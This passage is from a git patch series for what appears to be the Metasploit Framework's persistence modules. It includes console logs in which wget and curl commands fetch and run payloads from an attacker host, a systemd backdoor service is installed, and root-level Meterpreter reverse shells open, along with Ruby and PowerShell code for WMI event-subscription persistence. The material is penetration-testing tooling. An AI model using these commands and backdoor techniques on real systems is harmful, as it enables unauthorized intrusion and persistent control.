+[*] Enabling service +[*] Starting service: hakiMwGMnXA +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5212/ubuntu18desktop.local_20250212.5212.rc +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58360) at 2025-02-12 16:52:13 -0500 + +[msf](Jobs:2 Agents:2) exploit(linux/persistence/init_systemd) > sessions -i 2 +[*] Starting interaction with 2... + +(Meterpreter 2)(/home/ubuntu) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.3.0-26-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 2)(/home/ubuntu) > getuid +Server username: ubuntu +``` + +#### root + +Initial access vector via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO Xz9l4YxP --no-check-certificate http://111.111.1.111:8181/l; chmod +x Xz9l4YxP; ./Xz9l4YxP& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35802) at 2025-02-12 16:54:10 -0500 + +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/home/ubuntu) > getuid +Server username: root +(Meterpreter 1)(/home/ubuntu) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.3.0-26-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/home/ubuntu) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit +[*] Command to run on remote host: curl -so ./pCnRnSfZCFa http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./pCnRnSfZCFa;./pCnRnSfZCFa& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. +[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based +[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. +[*] Writing backdoor to /tmp//nfiWHmr +[*] Writing service: /lib/systemd/system/SBFzvKrWjH.service +[*] Enabling service +[*] Starting service +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5514/ubuntu18desktop.local_20250212.5514.rc +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58406) at 2025-02-12 16:55:15 -0500 +``` \ No newline at end of file diff --git a/modules/exploits/linux/persistence/init_systemd.rb b/modules/exploits/linux/persistence/init_systemd.rb index 0a0a70299139..085cbc7a4fb5 100644 --- a/modules/exploits/linux/persistence/init_systemd.rb +++ b/modules/exploits/linux/persistence/init_systemd.rb @@ -29,6 +29,8 @@ def initialize(info = {}) Debian >= 7, <=8 Fedora >= 15 Ubuntu >= 15.04 + + Verified on Ubuntu 18.04.3 }, 'License' => MSF_LICENSE, 'Author' => [ @@ -69,9 +71,9 @@ def initialize(info = {}) register_options( [ - OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), + OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']), OptString.new('SERVICE', [false, 'Name of service to create']), - OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']), ] ) register_advanced_options( @@ -112,7 +114,7 @@ def install_persistence end def write_shell(path) - file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5..10) + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") if payload.arch.first == 'cmd' @@ -199,11 +201,7 @@ def systemd_user(backdoor_path, backdoor_file) if !file_exist?(service_name) print_error('File not written, check permissions.') return - else - @clean_up_rc << "rm #{service_name}\n" end - else - @clean_up_rc << "rm #{service_name}\n" end # This was taken from pam_systemd(8) From e7b3b140b4f6bbc6038357da6557a35f70ed3b5e Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 13 Feb 2025 04:31:34 -0500 Subject: [PATCH 94/94] fix: wmi persistence with new mixin and cleanup rc file --- modules/exploits/windows/persistence/wmi.rb | 50 +++++++-------------- 1 file changed, 17 insertions(+), 33 deletions(-) diff --git a/modules/exploits/windows/persistence/wmi.rb b/modules/exploits/windows/persistence/wmi.rb index 41a9b2b05376..87a57a78fab4 100644 --- a/modules/exploits/windows/persistence/wmi.rb +++ b/modules/exploits/windows/persistence/wmi.rb @@ -109,7 +109,7 @@ def check CheckCode::Appears('Target is likely vulnerable') end - def exploit + def install_persistence host = session.session_host print_status('Installing Persistence...') @@ -151,23 +151,23 @@ def build_payload def subscription_logon command = build_payload class_name = datastore['CLASSNAME'] - <<-HEREDOC + %( $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + ) end def subscription_interval command = build_payload class_name = datastore['CLASSNAME'] callback_interval = datastore['CALLBACK_INTERVAL'] - <<-HEREDOC + %( $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + ) end def subscription_event @@ -175,29 +175,29 @@ def subscription_event event_id = datastore['EVENT_ID_TRIGGER'] username = datastore['USERNAME_TRIGGER'] class_name = datastore['CLASSNAME'] - <<-HEREDOC + %( $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + ) end def subscription_process command = build_payload class_name = datastore['CLASSNAME'] process_name = datastore['PROCESS_TRIGGER'] - <<-HEREDOC + %( $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} - HEREDOC + ) end def subscription_waitfor command = build_payload word = datastore['WAITFOR_TRIGGER'] class_name = datastore['CLASSNAME'] - <<-HEREDOC + %( $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'} $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} @@ -205,34 +205,18 @@ def subscription_waitfor $Consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} Start-Process -FilePath waitfor.exe #{word} -NoNewWindow - HEREDOC - end - - def log_file - host = session.session_host - filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') - logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - ::FileUtils.mkdir_p(logs) - ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') + ) end def remove_persistence - return if datastore['AllowNoCleanup'] == true - name_class = datastore['CLASSNAME'] - clean_rc = log_file if datastore['PERSISTENCE_METHOD'] == 'WAITFOR' - clean_up_rc = "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - else - clean_up_rc = "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" end - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" - file_local_write(clean_rc, clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") + @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" end end